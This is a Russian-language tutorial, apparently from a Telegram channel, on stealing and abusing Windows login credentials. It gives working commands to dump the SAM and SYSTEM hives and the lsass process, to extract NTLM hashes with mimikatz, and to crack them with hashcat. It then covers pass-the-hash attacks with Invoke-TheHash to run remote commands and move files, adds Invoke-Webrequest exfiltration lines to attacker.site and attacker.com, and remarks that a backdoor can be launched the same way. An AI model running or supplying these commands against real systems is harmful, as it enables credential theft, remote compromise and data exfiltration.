T.me В этой статье мы узнаем, где в Windows хранится пароль пользователя, как извлечь данные для взлома пароля Windows, как раскрыть пароль пользователя и как их использовать даже без брут-форса.
Не каждый пользователь использует пароль на Windows — особенно редко пользователи устанавливают пароль на домашнем компьютере, за которым работает один человек. Но в условиях корпоративной сети или при использовании Windows в качестве сервера, пароль является обязательным. Ещё одно интересное свойство пароля пользователя Windows: если пользователь завёл онлайн учётную запись Microsoft, то хеш пароля всё равно хранится на локальном компьютере, но расшифрованный пароль подойдёт и для локального компьютера, и для онлайн сервисов Microsoft.
Где Windows хранит пароль входа пользователя?
Пароли пользователей Windows хранятся в кустах (hives) реестра Windows под названием SYSTEM и SAM в файлах:
- C:/Windows/System32/config/SAM
- C:/Windows/System32/config/SYSTEM
Вместо пароля в виде простого текста, Windows хранит хеши паролей. Эти хеши легко поддаются брут-форсу, но даже без взлома хеши паролей Windows можно использовать для сбора данных и выполнения атак.
Как получить хеши паролей Windows
Дамп хешей паролей Windows на работающем компьютере
На запущенной системе проблематично получить доступ к файлам C:/Windows/System32/config/SAM и C:/Windows/System32/config/SYSTEM, хотя это и возможно. Для сохранения копий этих файлов можно использовать утилиту reg, а именно следующие команды:
12 | reg save HKLM\SYSTEM SystemBkup.hiv reg save HKLM\SAM SamBkup.hiv |
В некоторых инструкциях вместо SYSTEM сохраняют куст SECURITY — это ошибка, с кустами SECURITY и SAM восстановить хеш не удасться, нужны именно SYSTEM и SAM!
Хеш пароля также содержится в оперативной памяти, а именно в процессе Local Security Authority Process (lsass.exe). Этот процесс всегда запущен в работающей Windows и можно сделать его дамп (копию процесса в оперативной памяти сохранить на диск в виде файла). Для создания дампа можно использовать различные утилиты, в том числе две официальные:
- ProcDump
- Диспетчер задач
Диспетчер задач уже имеется в каждой Windows, чтобы его открыть нажмите Win+r и наберите taskmgr, затем нажмите ENTER. Либо правой кнопкой мыши нажмите на панель задач (то есть на нижнюю полоску, где находятся часы, кнопка пуск и т. д.) и в контекстном меню выберите «Диспетчер задач».
В Диспетчере задач нажмите «Подробнее» и во вкладке «Процессы», в разделе «Процессы Windows» найдите Local Security Authority Process, нажмите на него правой кнопкой мыши и выберите в контекстном меню пункт «Создать файл дампа»:
Дождитесь завершения:
Файл будет сохранён по пути C:\Users\ПОЛЬЗОВАТЕЛЬ\AppData\Local\Temp\lsass.DMP. У меня имя пользователя MiAl и путь до файла C:\Users\MiAl\AppData\Local\Temp\lsass.DMP.
Дамп хешей паролей Windows на выключенном компьютере
На выключенном компьютере для последующего извлечения пароля пользователя достаточно скопировать файлы:
- C:/Windows/System32/config/SAM
- C:/Windows/System32/config/SYSTEM
Эти же файлы можно найти в резервной копии Windows или в Shadow копии диска, либо скопировать загрузившись с Live системы.
Чем различаются хеши NTLM и NTLMv1/v2 и Net-NTLMv1/v2
Сейчас мы будем охотиться за хешем NTLM.
На самом деле, NTLM и NTLMv1/v2 это довольно разные вещи. Хеш NTLM хранится и используется локально, а хеши NTLMv1/NTLMv2 используются для сетевой аутентификации и являются производными хеша NTLM. Используя любой из этих хешей можно расшифровать пароль пользователя Windows, но это разные алгоритмы шифрования/взлома.
Для атаки Pass-the-hash (мы рассмотрим её в этой статье) применим только хеш NTLM, а хеши NTLMv1/NTLMv2 не подходят.
Остался ещё один вопрос, что такое хеши Net-NTLMv1/v2. Хеши Net-NTLMv1/v2 это сокращённое название для хешей NTLMv1/v2, то есть NTLMv1/v2 и Net-NTLMv1/v2 это одно и то же. А NTLM это другое.
В этой статье мы будем извлекать, взламывать и эксплуатировать без взлома хеш NTLM.
Что такое mimikatz
Программа mimikatz хорошо известна за возможность извлекать пароли в виде простого текста, хеши, ПИН коды и тикеты kerberos из памяти. mimikatz также может выполнять атаки pass-the-hash, pass-the-ticket или строить Golden тикеты.
В этой инструкции мы рассмотрим только способность mimikatz извлекать хеши NTLM. Помните, у mimikatz есть и другие очень интересные функции — посмотрите, какая у неё обширная справка: https://kali.tools/?p=5342
Имеются реализации mimikatz в Meterpreter & Metasploit, DLL reflection в PowerShell и других продуктах. В принципе, mimikatz можно запускать в Wine на Linux, но не будут работать функции, связанные с извлечением данных непосредственно из Windows; функции извлечения хешей из дампов или расшифровки из файлов реестра должны работать в Linux.
Как установить mimikatz в Windows
mimikatz — это портативная утилита командной строки. То есть установка не требуется, но нужно уметь запустить, если вы не очень знакомы с командной строкой.
1. Перейдите на страницу https://github.com/gentilkiwi/mimikatz/releases, скачайте файл mimikatz_trunk.7z или mimikatz_trunk.zip. Распакуйте скаченный архив.
2. Откройте PowerShell (Win+x → Windows PowerShell (администратор)) или командную строку (Win+r → cmd).
3. В командной строке с помощью команды cd перейдите в папку с исполнимым файлом mimikatz.exe. К примеру, архив распакован в папку C:\Users\MiAl\Downloads, тогда исполнимый файл будет в папке C:\Users\MiAl\Downloads\mimikatz_trunk\x64\:
1 | cd C:\Users\MiAl\Downloads\mimikatz_trunk\x64\ |
4. Запустите исполнимый файл.
1 | .\mimikatz.exe |
Как извлечь хеш пароля пользователя NTLM из файлов реестра
Следующие команды нужно выполнять в консоли mimikatz.
Команда log включает запись всего вывода в ФАЙЛ:
1 | log ФАЙЛ |
К примеру, для запуска всего вывода в файл hash.txt:
1 | log hash .txt |
Я скопировал с выключенного компьютера файлы SYSTEM и SAM, теперь для извлечения хеша мне нужно запустить команду вида:
1 | lsadump::sam /system :C:\путь\до\SYSTEM /sam :C:\путь\до\SAM |
Пример моей команды:
1 | lsadump::sam /system :C:\Share-Server\files\SYSTEM /sam :C:\Share-Server\files\SAM |
Пример вывода:
Вывод довольно обширный и много не до конца понятных данных. Интерес представляют последовательно идущие строки вида:
12 | User : ПОЛЬЗОВАТЕЛЬ Hash NTLM: ХЕШ |
В моём примере интересные строки:
12345 | User : ShareOverlord Hash NTLM: 7ce21f17c0aee7fb9ceba532d0546ad6 User : Alexey Hash NTLM: ca76a176340f0291e1cc8ea7277fc571 |
Также есть строки с именами пользователей:
12 | User : MiAl User : Администратор |
Но после них нет строк с хешем NTLM, поскольку у этих пользователей не установлен пароль в системе.
Если вы хотите извлечь данные из файлов реестра текущей операционной системы, то выходим из mimikatz, для этого нажмите Ctrl+c.
Теперь сделаем дамп кустов реестра SYSTEM и SAM текущей системы:
12 | reg save HKLM\SYSTEM SystemBkup.hiv reg save HKLM\SAM SamBkup.hiv |
Вновь запускаем mimikatz:
1 | .\mimikatz.exe |
Включаем ведение журнала:
1 | log hash - local .txt |
И выполняем команду с указанием файлов, в которые сохранены дампы кустов реестра, то есть SystemBkup.hiv и SamBkup.hiv:
1 | lsadump::sam /system :SystemBkup.hiv /sam :SamBkup.hiv |
Пример вывода:
Здесь найден только один пользователь с хешем:
12 | User : Администратор Hash NTLM: 5187b179ba87f3ad85fea3ed718e961f |
На самом деле, для извлечения хешей NTLM из локальной системы необязательно было делать дамп кустов реестра. Другой вариант — повысить привилегии самой программы mimikatz и извлечь хеши непосредственно из системы. Для этого выполните команды:
1234 | privilege::debug token::elevate log hash -local2.txt lsadump::sam |
Извлечение хеша NTLM из дампа lsass.DMP
По логике (и на практике) в дампе процесса Local Security Authority Process должен быть хеш только пользователя, выполнившего вход с паролем.
Вначале укажите путь до файла дампа командой вида:
1 | sekurlsa::minidump C:\путь\до\lsass.DMP |
Например:
1 | sekurlsa::minidump C:\Share-Server\files\lsass.DMP |
Затем выполните команду:
1 | sekurlsa::logonPasswords |
Брут-форс хеша NTLM
Для взлома я возьму следующий хеш:
12 | User : Alexey Hash NTLM: ca76a176340f0291e1cc8ea7277fc571 |
Загляним в справку Hashcat, чтобы узнать номер режима хеша NTLM:
1 | 1000 | NTLM | Операционные системы |
То есть номер хеша NTLM равен 1000.
Чтобы запустить атаку по маске для взлома NTLM в Hashcat нужно выполнить команду вида:
1 | hashcat -m 1000 -a 3 'ХЕШ' МАСКА |
Пример моей реальной команды:
1 | hashcat --force --hwmon-temp-abort=100 -m 1000 -D 1,2 -a 3 -i --increment-min 1 --increment-max 10 -1 ?l?d ca76a176340f0291e1cc8ea7277fc571 ?1?1?1?1?1?1?1?1?1 |
В этой команде:
- hashcat — имя исполнимого файла. В Windows это может быть hashcat64.exe.
- —force — игнорировать предупреждения
- —hwmon-temp-abort=100 — установка максимальной температуры, после которой будет прерван перебор, на 100 градусов Цельсия
- -m 1000 — тип хеша NTLM
- -D 1,2 — означает использовать для взлома и центральный процессор, и видеокарту
- -a 3 — означает атаку по маске
- -i — означает постепенно увеличивать количество символов в генерируемых паролях
- —increment-min 1 — означает начать с длины маски равной единице
- —increment-max 10 — означает закончить перебор при длине маске равный десяти
- -1 ?l?d — пользовательский набор символов номер 1, в него включены маленькие латинские буквы (?l) и цифры (?d)
- ca76a176340f0291e1cc8ea7277fc571 — хеш для взлома
- ?1?1?1?1?1?1?1?1?1 — маска из пользовательского набора символов
Взломаем ещё один хеш:
12 | User : Администратор Hash NTLM: 5187b179ba87f3ad85fea3ed718e961f |
Команда (другой хеш и другой набор пользовательских символов):
1 | hashcat --force --hwmon-temp-abort=100 -m 1000 -D 1,2 -a 3 -i --increment-min 1 --increment-max 10 -1 ?l?u?d 5187b179ba87f3ad85fea3ed718e961f ?1?1?1?1?1?1?1?1?1 |
Итак, в этой статье мы научились извлекать хеш NTLM и взламывать пароль Windows. А что делать, если не удалось взломать NTLM? Ответ на этот вопрос читайте далее:
Атака Pass-the-hash (как использовать NTLM без взлома пароля)
Как использовать NTLM без взлома пароля: атака Pass-the-hash
Атака Pass-the-hash позволяет не подбирать пароль, а использовать непосредственно хеш.
mimikatz может выполнить известную операцию ‘Pass-The-Hash’ для запуска процесса под другими учётными данными с хешем NTLM пользовательского пароля вместо его реального пароля. Для этого программа запускает процесс с поддельной идентификацией, затем заменяет фальшивую информацию (NTLM хеш фальшивого пароля) на реальную информацию (NTLM хеш реального пароля).
Для выполнения этой атаки mimikatz, который умеет выполнять команды от другого пользователя, вначале нужно дать процессу привилегии отладки debug:
123 | privilege::debug token:: whoami token::elevate |
Затем нужно запустить команду вида:
1 | sekurlsa::pth /user :ПОЛЬЗОВАТЕЛЬ /domain :ДОМЕН /ntlm :ХЕШ /run :КОМАНДА |
Вместо ДОМЕН нужно указать полностью определённое доменное имя или имя рабочей группы, если выполняется для локального пользователя. Опцию /run:КОМАНДА можно пропустить и тогда будет выполнено cmd.exe (откроется приглашение командной строки).
Пример:
1 | sekurlsa::pth /user :Alexey /domain :workgroup /ntlm :ca76a176340f0291e1cc8ea7277fc571 /run :taskmgr |
Но мне кажется, что это не работает (возможно, я делаю что-то не так).
Но точно работает программа Invoke-TheHash, которая использует NTLM хеш для выполнения команд на удалённых системах, а также сбора информации и работе с файлами в сетевых папках. То есть для всех этих действий не требуется расшифровывать пароль из NTLM хеша.
Invoke-TheHash включает в себя следующие функции:
- Invoke-WMIExec (выполнения команд через WMI)
- Invoke-SMBExec (выполнения команд через SMB (PsExec))
- Invoke-SMBEnum (выполняет перечисление пользователей, групп, сетевых сессий и совместных ресурсов)
- Invoke-SMBClient (клиент SMB)
- Invoke-TheHash (для запуска функций Invoke-TheHash в отношении множества целей)
Установка и запуск Invoke-TheHash в Windows
Скрипты Invoke-TheHash написаны на PowerShell, поэтому настоятельно рекомендуется ознакомиться со статьёй «Настройка рабочего окружения PowerShell в Windows и Linux» в которой вы найдёте ответы на многие вопросы новоичков в использовании PowerShell, а также пример исправления ошибки в скрипте Invoke-TheHash при его запуске в Linux.
Скачайте файлы скриптов: https://github.com/Kevin-Robertson/Invoke-TheHash/archive/master.zip
Переходим в каталог со скриптами (у вас может быть другой путь):
1 | cd C:\Users\MiAl\Downloads\Invoke-TheHash-master\ |
Для запуска импортируйте функции:
1 | Import-Module . /Invoke-TheHash .psd1 |
И используйте эти функции для запуска:
12345 | Invoke-WMIExec Invoke-SMBExec Invoke-SMBEnum Invoke-SMBClient Invoke-TheHash |
В качестве целевого компьютера мы будем использовать Windows Server 2019, имя компьютера HACKWARE-SERVER, IP компьютера 192.168.0.53. При запуске атаки из Windows, можно использовать имя компьютера, а при запуске атаки из Linux, имя компьютера вряд ли будет преобразовано в IP, поэтому лучше сразу указать IP адрес.
Для этого компьютера добыт NTLM хеш:
12 | User : Администратор Hash NTLM: 5187b179ba87f3ad85fea3ed718e961f |
На Windows Server невозможно создать учётную запись Администратора без пароля либо со слабым паролем (смотрите «Какой пароль подойдёт для Windows сервера») и поэтому мы можем предположить, что не удалось взломать NTLM хеш. Рассмотрим варианты, как мы можем его использовать.
NTLM хеш и выполнения команд через WMI
Windows Management Instrumentation (WMI) в дословном переводе — инструментарий управления Windows. WMI — это одна из базовых технологий для централизованного управления и слежения за работой различных частей компьютерной инфраструктуры под управлением платформы Windows.
Если не вдаваться в подробности WMI, то эта технология используется для управления Windows компьютерами по сети и, среди прочего, позволяет выполнять команды на удалённых компьютерах. Минус практической атаки на WMI в том, что по умолчанию на обычных рабочих станциях Windows технология WMI отключена и/или доступ закрыт файерволом. Но на Windows Server технология WMI доступна.
Чтобы удостовериться, доступен ли WMI на удалённом компьютере, нужно запустить команду вида:
1 | Get-WmiObject -Namespace "root\cimv2" -Class Win32_LogicalDisk -ComputerName ИМЯ_ИЛИ_IP_КОМПЬЮТЕРА -Credential ИМЯ_КОМПЬЮТЕРА\ПОЛЬЗОВАТЕЛЬ |
К примеру, я хочу проверить, доступен ли WMI для пользователя Администратор на компьютере с именем HACKWARE-SERVER:
1 | Get-WmiObject -Namespace "root\cimv2" -Class Win32_LogicalDisk -ComputerName HACKWARE-SERVER -Credential HACKWARE-SERVER\Администратор |
Вы увидите окно запроса аутентификации на удалённой системе:
И в случае если всё хорошо (пароль правильный и WMI поддерживается), то вы увидите информацию о файловой системе на удалённом компьютере:
Если у вас действительно нет пароля, то переходим сразу к Invoke-WMIExec.
Нужно запустить команду вида:
1 | Invoke-WMIExec -Target ЦЕЛЬ -Domain ДОМЕН -Username ПОЛЬЗОВАТЕЛЬ -Hash ХЕШ -Command "КОМАНДА" -verbose |
Где:
- -Target — Имя хоста или IP адрес цели.
- -Username — Имя пользователя для использования в аутентификации.
- -Domain — Домен для использования в аутентификации. Этот параметр не нужен с локальными аккаунтами или когда используется @domain после имени пользователя.
- -Hash — NTLM хеш пароля для аутентификации. Эта функция примет как LM:NTLM, так и NTLM формат.
- -Command — Команда для выполнения на цели. Если команда не указана, то функция просто проверит, имеет ли пользователь и хеш доступ к WMI на целевой системе.
- -Sleep — По умолчанию = 10 миллисекунд: Устанавливает значение функции Start-Sleep в миллисекундах.
Моя реальная команда:
1 | Invoke-WMIExec -Target HACKWARE-SERVER -Domain WORKGROUP -Username Администратор -Hash 5187b179ba87f3ad85fea3ed718e961f -Command "powershell.exe ls C:\ > c:\file.txt" -verbose |
В этом примере на удалённой системе выполнилась команда:
1 | powershell.exe ls C:\ > c:\ file .txt |
То есть в оболочке PowerShell выполнено
1 | ls C:\ > c:\ file .txt |
Где
- ls C:\ — означает показать список файла корня диска C:
- > — означает полученный результат перенаправить в файл
- c:\file.txt — это файл, куда перенаправлен вывод команды ls
То есть в результате на удалённой системе должен был создаться файл c:\file.txt, проверим:
По описанной технологии можно запускать бэкдор или любой другой файл или команду.
Используя команду PowerShell Invoke-Webrequest можно передавать файлы с атакуемой машины на другую:
12 | Invoke-Webrequest https: //attacker .site/?base64=СТРОКА Invoke-Webrequest attacker.com /i .php -method POST -infile file .zip |
Выполнение команд через PsExec
В целом всё очень похоже на функцию Invoke-WMIExec:
1 | Invoke-SMBExec -Target ЦЕЛЬ -Domain ДОМЕН -Username ПОЛЬЗОВАТЕЛЬ -Hash ХЕШ -Command "КОМАНДА" -verbose |
В моих тестах мне не удалось перенаправить вывод с SMBExec в файл, но функция работает, например, я выполнил следующую команду:
1 | Invoke-SMBExec -Target HACKWARE-SERVER -Domain WORKGROUP -Username Администратор -Hash 5187b179ba87f3ad85fea3ed718e961f -Command "powershell.exe Invoke-Webrequest 192.168.0.89" -verbose |
Полезной нагрузкой в ней является:
1 | powershell.exe Invoke-Webrequest 192.168.0.89 |
Делался запрос к веб-серверу к логам которого у меня есть доступ, и там я увидел соответствующую строку, подтверждающую, что к веб-серверу был сделан запрос от атакуемой машины:
1 | 192.168.0.53 - - [04 /Feb/2020 :17:19:07 +0300] "GET / HTTP/1.1" 200 2614 "-" "Mozilla/5.0 (Windows NT; Windows NT 10.0; ru-RU) WindowsPowerShell/5.1.17763.771" |
Извлечение информации об удалённой системе из SMB
Invoke-SMBEnum выполняет перечисление пользователей, групп, сетевых сессий и совместных ресурсов (принтеров и сетевых папок) по SMB2.1 с или без входа по SMB.
Использование:
1 | Invoke-SMBEnum -Target ЦЕЛЬ -Domain ДОМЕН -Username ПОЛЬЗОВАТЕЛЬ -Hash ХЕШ -verbose |
Все опции уже знакомы, но отсутствует опция с командой. Вместо неё есть новое опция с действием:
- -Action — (возможные варианты: All, Group, NetSession, Share, User) По умолчанию = Share: Эта опция указывает, какое действие по перечислению выполнить.
Пример реальной команды:
1 | Invoke-SMBEnum -Target HACKWARE-SERVER -Domain WORKGROUP -Username Администратор -Hash 5187b179ba87f3ad85fea3ed718e961f -Action All -verbose |
Команда сработала, но что-то не то с кодировкой:
SMB клиент с входом по NTLM хешу
SMB клиент позволяет скачивать и закачивать файлы на сетевую папку. SMB клиентов много, уникальность Invoke-SMBClient в использовании NTLM хеша вместо пароля:
1 | Invoke-SMBClient -Domain ДОМЕН -Username ПОЛЬЗОВАТЕЛЬ -Hash ХЕШ -Action ДЕЙСТВИЕ -Source \\СЕРВЕР\ПАПКА -Destination ФАЙЛ -verbose |
Действие может быть следующим:
- -Action — По умолчанию = List: (возможные варианты: List, Recurse, Delete, Get, Put) Действие для выполнения.
- List: Выводит список содержимого директории.
- Recurse: Выводит список содержимого директории и всех поддиректорий.
- Delete: Удаляет файл.
- Get: Загружает файл.
- Put: Выгружает файл и устанавливает метки времени создания, доступа и последней записи для соответствия исходного файлу.
В зависимости от выбранного действия, источником (Source) может быть следующее:
- -Source
- List и Recurse: UNC путь к директории.
- Delete: UNC путь к файлу.
- Get: UNC путь к файлу.
- Put: Файл для выгрузки. Если полный путь не указан, то файл должен быть в текущей директории. Когда используется переключатель ‘Modify’, ‘Source’ должен быть массивом байтов.
В зависимости от выбранного действия, новым файлом на локальной системе (Destination) может быть следующее:
- -Destination
- List и Recurse: Не используется.
- Delete: Не используется.
- Get: Если используется, значение будет новым именем загруженного файла. Если полный путь не указан, то файл будет создан в текущей директории.
- Put: UNC путь для выгружаемого файла. Имя файла должно быть указано.
Рассмотрим примеры самых ходовых действий.
Просмотр содержимого сетевой папки с именем Share-Server на компьютере \\HACKWARE-SERVER:
1 | Invoke-SMBClient -Domain WORKGROUP -Username Администратор -Hash 5187b179ba87f3ad85fea3ed718e961f -Action List -Source \\HACKWARE-SERVER\Share-Server -verbose |
Скачать файл changelog.txt из папки Share-Server с компьютера \\HACKWARE-SERVER и сохранение его в текущую рабочую директорию локального компьютера с именем changelog_server.txt:
1 | Invoke-SMBClient -Domain WORKGROUP -Username Администратор -Hash 5187b179ba87f3ad85fea3ed718e961f -Action Get -Source \\HACKWARE-SERVER\Share-Server\changelog.txt -Destination changelog_server.txt -verbose |
Закачка файла Invoke-TheHash.ps1, расположенного на локальном компьютере в директории C:\Users\MiAl\Downloads\Invoke-TheHash-master\, на компьютер \\HACKWARE-SERVER в папку Share-Server с именем Script.ps1:
1 | Invoke-SMBClient -Domain WORKGROUP -Username Администратор -Hash 5187b179ba87f3ad85fea3ed718e961f -Action Put -Source C:\Users\MiAl\Downloads\Invoke-TheHash-master\Invoke-TheHash.ps1 -Destination \\HACKWARE-SERVER\Share-Server\Script.ps1 -verbose |
Invoke-TheHash
Invoke-TheHash — это функция для запуска функций Invoke-TheHash в отношении множества целей.
Больше подробностей и примеров смотрите в документации: https://kali.tools/?p=5380